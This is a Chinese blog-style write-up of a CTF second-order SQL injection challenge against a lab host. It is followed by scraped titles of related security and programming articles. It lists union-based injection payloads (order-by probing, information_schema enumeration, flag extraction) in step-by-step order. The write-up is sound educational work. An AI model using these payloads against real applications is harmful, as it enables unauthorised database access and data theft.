这次有做一个二次注入的天枢CTF题目,算是完整地理解了一遍注入的知识。来,启航。

 
1.判断注入点
    经过对题目的实践分析,知道注册时需要输入年龄大于18岁,但在登录后界面,年龄因为太大不能接触flag。问题在年龄上,在找各种框框,锁定目标在注册时年龄框框那儿了。接下来是重点了。
    之前的实践已知,正常的小于18岁的数字是通不过注册的,尝试使用十六进制(数据库可以解析十六进制为真正的数据哦)。

    1的十六进制通过了,emmmmm,这里是注入点。调皮地尝试登陆看看flag。

    提示信息没有显示flag。找到注入点当然只是个开始咯,接下来利用注入点。
 
2.判断注入类型
    注入类型有两种:数字和字符注入。根据构造的逻辑错误语句反馈的结果判断注入类型,如果返回界面和之前界面不一样,则说明是此注入类型。
    尝试数字注入。1 and 1=2 -- (猜测它是mysql数据库)
 

    用刚注册的账户成功登录,界面和之前界面一样。说明不是数字注入。
 
    尝试字符注入。1' and 1=2 -- 

    看见没,显示的界面发生了变化,说明此错误语句被执行,此注入属于字符注入。
 
3.判断字段。
    1' order by 1 -- 
 

    当字段为1时,回显内容。
    
    1' order by 2 -- 

    当字段为2时,无回显内容。说明能够在界面回显的字段只有一个。
 
4.依次查出flag
第一步查出数据库。
    1' and 1=2 union select group_concat(schema_name) from information_schema.schemata -- 

    很明显,【childhappy】是目标数据库。
第二步查表名。
    1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema='childhappy' -- 

    emmmmmmmmmmm,猜测py_flag是目标表。
第三步查列名。
    1' and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema='childhappy' and table_name='py_flag' -- 

    好,tsctf_fla9里面应该有我们需要的东西。
第四步获取flag。
    1' and 1=2 union select group_concat(tsctf_fla9) from childhappy.py_flag -- 

    好嘞,愉快地结束。
 
 
 
 

二次注入的学习--Buy Flag(http://10.112.68.215:10002)的更多相关文章

  1. Spring.NET依赖注入框架学习--简单对象注入

    Spring.NET依赖注入框架学习--简单对象注入 在前面的俩篇中讲解了依赖注入的概念以及Spring.NET框架的核心模块介绍,今天就要看看怎么来使用Spring.NET实现一个简单的对象注入 常 ...

  2. 利用反射型XSS二次注入绕过CSP form-action限制

    利用反射型XSS二次注入绕过CSP form-action限制 翻译:SecurityToolkit 0x01 简单介绍 CSP(Content-Security-Policy)是为了缓解XSS而存在 ...

  3. COMMENT SQL二次注入

    这题目太顶了进去随便发个贴,出现登录已经提示用户名和密码了,弱密码登录(得自己去爆破)zhangwei666即可 没啥思路,扫下目录试试,kali的dirb扫到.git泄露githacker得到源码看 ...

  4. SQL注入 基础学习

    SQL注入学习笔记 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有 ...

  5. [网鼎杯2018]Unfinish-1|SQL注入|二次注入

    1.进入题目之后只有一个登录界面,检查源代码信息并没有发现有用的信息,尝试万能密码登录也不行,结果如下: 2.进行目录扫描,发现了注册界面:register.php,结果如下: 3.那就访问注册界面, ...

  6. [网鼎杯 2018]Comment-1|SQL注入|二次注入

    1.打开之后只有一个留言页面,很自然的就想到了二次注入得问题,顺带查看了下源代码信息,并没有什么提示,显示界面如下: 2.那先扫描一下目录,同时随便留言一个测试以下,但是显示需要登录,账户.密码给出了 ...

  7. sql注入时易被忽略的语法技巧以及二次注入

    那些容易被忽略.容易被弄错的地方 sql注入时的技巧 ========================================================================= ...

  8. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

    0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是 ...

  9. 【sql注入】简单实现二次注入

    [sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...

随机推荐

  1. centos下查看python的安装目录

    直接用python命令,打印sys的path即可: >>> import sys >>> print(sys.path) ['', '/usr/local/lib/ ...

  2. gitlab入门

    目录 git下载 注册ssh git客户端及图形化工具tortoisegit下载: git客户端安装: https://git-scm.com/download   (git客户端 此种需要命令行执行 ...

  3. Delphi TMemoryStream写入到字符串和字符串写入到流

    一.TMemoryStream数据写入到字符串里 var lvStream:TMemoryStream; s:AnsiString; p: PAnsiChar; begin lvStream:= TM ...

  4. cx_Oracle.DatabaseError: DPI-1047

    ODPI-C Installation¶ Overview Oracle Client and Database Versions Linux Oracle Instant Client Zip Or ...

  5. 2018.3,GC可控了

    如题,不再像以前那样由系统决定什么时候进行GC,现在可以通过设置,决定自己手动回收还是使用传统的系统决定方式. 传统方式不可控,就算是手动调用了GC.COLLECT,系统也不一定会立即执行.

  6. 高质量C++/C编程指南

    http://man.chinaunix.net/develop/c&c++/c/c.htm#_Toc520634042 高质量C++/C编程指南 文件状态 [  ] 草稿文件 [√] 正式文 ...

  7. Linux sort命令使用方法

    sort命令在Linux中主要用于对文件进行排序,并将排序结果输出.sort命令输入可以是指定的文件和数据流.本文主要介绍sort命令的基本语法和常见使用实例. sort命令语法 sort命令格式:s ...

  8. Python类的进阶.md

    属性绑定 在python中可以给类对象动态的绑定属性 但是由于这种特性,随意动态绑定也会带来麻烦,因此可用__slots__来限制可绑定的属性名称 __slots__的绑定对于子类是不生效的,只对当前 ...

  9. AngularJS理论知识

    两个核心概念 三个架构 MVC 一切应用程序都是数据的增删改查 那么总要有东西装数据吧 Model就是干这个事(数据表现和操作) View(展现数据) Controller(逻辑) 那么M- V- C ...

  10. 扩展saltstack组件

    一.扩展Grains 我们知道,grains可以帮助收集minion端的静态信息.在更为复杂的业务环境中,可以使用自定义的grains帮助收集真实需要的静态或者业务信息; grains流程:  mas ...